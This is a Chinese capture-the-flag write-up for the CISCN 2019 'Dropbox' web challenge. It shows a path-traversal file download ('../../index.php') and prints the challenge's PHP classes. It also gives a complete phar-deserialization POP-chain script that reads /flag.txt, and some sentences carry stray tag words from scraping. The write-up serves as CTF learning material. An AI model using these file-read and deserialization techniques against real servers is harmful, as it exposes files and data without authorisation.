CISCN2019_華北賽區_Day1_Web1-Dropbox

時間 2020-10-23

標籤 php html mysql web sql 服務器函數 fetch this code 欄目 HTML 简体版

原文原文鏈接

好長時間沒作web了，web狗太難了

首先得反省一下，我居然將近三天沒作web題目了，這這這仍是一個web狗應該作的嗎？反思一下嗚嗚嗚。。。php

phar反序列化

什麼是phar反序列化呢？html

下面的文章可能會有點幫助來自jianshumysql

按照個人理解來講呢，就是把危險的文件上傳到服務器？而後藉助某些功能與危險函數實現危險的操做，太籠統了。具體來講呢就是php文件系統中很大一部分的函數在經過phar://解析時，存在着對meta-data（在這裏<meta-data>區域面搞反序列化的pop鏈）反序列化的操做。web

具體實現的實例以下所示

<?php
/**上面的這裏寫pop鏈*/



/**下面的東西通常是不變的*/
$phar = new Phar("7.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php__HALT_COMPILER(); ?>");
$phar->setMetadata($exception);   //set-metadata參數會變
$phar->stopBuffering();
?>

迴歸正題，題解以下

下午好，web狗。
終於清理掉這個老頑固了。sql

先分析源代碼找出pop鏈，代碼怎麼找？服務器

0x01 任意文件下載

註冊登陸後，有個上傳文件的地方，上傳過圖片後能夠刪除或者下載，而後就想着多是文件上傳漏洞，開始我還覺得要上傳圖片馬。。函數

這裏的這個任意文件下載->先用burp抓包，修改其中的filename字段就能夠了，改成../../index.php下載主頁代碼。其餘代碼相似也能下載，這信息收集真的難頂，收集能收集10分鐘，我丟。fetch

利用的類都在class.php文件裏面，下面是class文件的內容this

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下載</a> / <a href="#" class="delete">刪除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

其中利用的重中之重是下面的部分代碼code

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function __destruct() {
        $this->db->close();           //2
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下載</a> / <a href="#" class="delete">刪除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;
    
    public function close() {
        return file_get_contents($this->filename);      //1
    }
}
?>

生成phar文件

用下面的腳本生成一個phar的文件，菜狗痛枯。賊雞兒麻煩啊。

<?php
class User {
    public $db;
}
class File {
    public $filename;
}
class FileList {
    private $files;
    public function __construct() {
        $file = new File();
        $file->filename = "/flag.txt";
        $this->files = array($file);
    }
}

$a = new User();
$a->db = new FileList();

$phar = new Phar("7.phar"); //後綴名必須爲phar
$phar->startBuffering();
$phar->addFromString("exp.txt", "test"); //添加要壓縮的文件
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub
$phar->setMetadata($a); //將自定義的meta-data存入manifest
//簽名自動計算
$phar->stopBuffering();
?>

分析一下pop鏈

首先是建立一個user類的對象$a，而後將$a的db屬性實例化爲FileList對象。FileList裏的$file屬性實例化爲File對象,利用filename屬性讀取flag.txt文件,最後用$this->files = array($file);負責輸出flag。

她的各類方法的調用順序爲，首先$a的db屬性實例化爲FileList對象，這樣當$a對象被銷燬時就會觸發__call()函數(由於db實例化爲對象了，而filelist類裏面沒有close()方法，故會觸發__call()方法)。第二是爲使close方法裏面獲取的文件爲flag，就要讓$this->filename=flag文件，就在filelist類裏面寫入了file屬性=file對象，而且該對象的filename屬性爲/flag.txt也就是咱們的文件。如今flag已經在file對象裏面了，而後咱們再借用一下filelist類的__call()方法，把flag.txt打入results裏面，最後經過析構函數將results打入result，而後入table，最後將table屬性echo出來，實現讀取文件。